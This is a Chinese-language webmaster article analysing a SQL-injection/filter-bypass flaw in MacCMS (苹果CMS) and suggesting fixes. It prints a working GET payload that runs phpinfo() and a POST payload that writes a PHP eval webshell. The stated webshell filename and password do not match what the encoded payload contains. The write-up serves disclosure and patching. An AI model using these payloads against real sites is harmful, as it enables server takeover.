当前位置:首页 >  站长 >  建站经验 >  正文

苹果cms网站漏洞修复解决办法

 2019-04-22 18:35  来源: A5用户投稿   我来投稿   websafe的个人主页 撤稿纠错

  短视频,自媒体,达人种草一站服务

苹果cms系统,是目前很多电影网站都在使用的一套网站系统,开源,免费,扩展性较好,支持一键采集,伪静态化,高并发的同时承载,获得的很多站长的喜欢,于近日被网站安全检测发现,maccms存在网站漏洞,sql注入盲射获取数据库的管理员账号密码,关于该漏洞的详情,我们仔细分析看下.

maccms漏洞分析与修复

苹果CMS采用的是php语言开发的代码,使用的数据库是mysql类型,这种架构是比较常用的,也是比较稳定的,但是在安全方面出现的问题是比较多的,这次发现的是sql注入漏洞,在网站的根目录下的inc文件里的module目录下的vod.php代码如下图所示:

代码里的empty($wd函数,在进行判断如果是,或者不是的逻辑过程当中,会将前段用户访问带来的参数,进行安全过滤,我们跟进代码来追寻到苹果CMS的配置文件,在function.php配置文件代码李看到对网站的所有请求方式包括get、post、cookies的提交方式都强制性的进行了安全转义。网站漏洞问题的发生就在这里.

我们仔细又发现,maccms使用了360安全提供的防止sql注入拦截代码。360的防止sql注入是好几年前开发,并公开在网络上的,已经很久没有更新维护了并且还存在sql注入代码绕过的情况,参数值之间进行实体转换的时候,360的sql拦截规则没有对空白符以及反斜杠进行拦截,导致可以绕过插入恶意参数,直接请求到苹果cms后端数据库中去,获取苹果CMS的管理员账号密码。

我们来看下如何利用苹果CMS的漏洞,从上面漏洞发生的细节里可以看出,是因为拦截sql注入语句的过程中存在可以被绕过的漏洞。我们来使用%0b,以及空格对代码进行注入,sql语句在拼接中,可以插入反斜杠进行单引号的报错,从而绕过苹果CMS的安全拦截。语句如下:

GET请求:

http://127.0.0.1/index.PHP?m=vod-search&wd={if-A:phpinfo()}{endif-A}

可以直接看php的具体信息

POST请求

可以直接获取webshell

http://127.0.0.1/index.PHP?m=vod-search

POST内容如下:

wd={if-A:print(fputs%28fopen%28_decode%28Yy5waHA%29,w%29,_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

可以直接生成带有一句话木马后门的代码,文件名为safe.php,一句话木马链接密码是safe.

如何修复苹果cms网站漏洞呢?

对网站漏洞的修复我们要知道漏洞产生的原因,以及为何会绕过苹果CMS的安全过滤,maccms使用的addslash安全函数,sql中没有加单引号的安全防护,in字句也很容易忘记加引号,再一个后期处理安全过滤的时候可以插入单引号,stripslash导致可以加入单引号,编解码导致绕过addslash,使用urldecode编码进行注入绕过,根据上面提出的漏洞绕过,我们SINE安全提出漏洞修复的建议是:对URL解码进行双层的转义,对get,post,cookies的拦截规则进行安全更新,加强空格,以及百分符号的拦截,如果对程序代码不熟悉的话建议咨询专业的网站安全公司来处理解决。

申请创业报道,分享创业好点子。点击此处,共同探讨创业新机遇!

作者: websafe    /    文章:144篇

相关文章

  • 99%的网站死于太丑!!!

    很多网站都不懂为客户设计网站,大多数人总认为用户是傻B,文字越多越好,内容越详细越好,好像用户智商有问题一样(就算你把内容都弄出来,用户也不一定看)最后网站上线,会是这样亚子……

  • 企业网站建设如何选择企业建站系统?

    目前企业网站已经成了企业宣传和推广中不可或缺的一部分。一个初创企业如果没有自己的官方网站,就失去了一个重要的互联网窗口和引流渠道,目前国内90%的企业网站都是通过建站系统来搭建,很多人对建站系统并不了解,所以接下来就跟大家科普一下关于关于它的常见问题。

  • 搭建网站如何避免知识产权纠纷?

    知识产权一般都是对最终使用人进行约束和追责,因此你付费委托第三方搭建网站,但并不代表你自身就能免除侵权责任,更何况大部分建站合同对于因搭建网站所造成的知识产权侵权完全没有任何约定!

  • 从零开始自己创建一个网站的操作指南

    随着互联网时代的发展,无论是个人还是企业,都想拥有一个自己的网站,通过网站快速展示自己的商品信息。有很多人不了解一个网站是如何形成的,制作一个网站需要多少时间,具体由哪些细节都是全然不知。他们甚至感觉搭建一个网站是一件非常复杂的事情,其实,网站建设并没有那么复杂,也没那么简单。其实现在做一个基本使用

热门排行

信息推荐

扫一扫关注最新创业资讯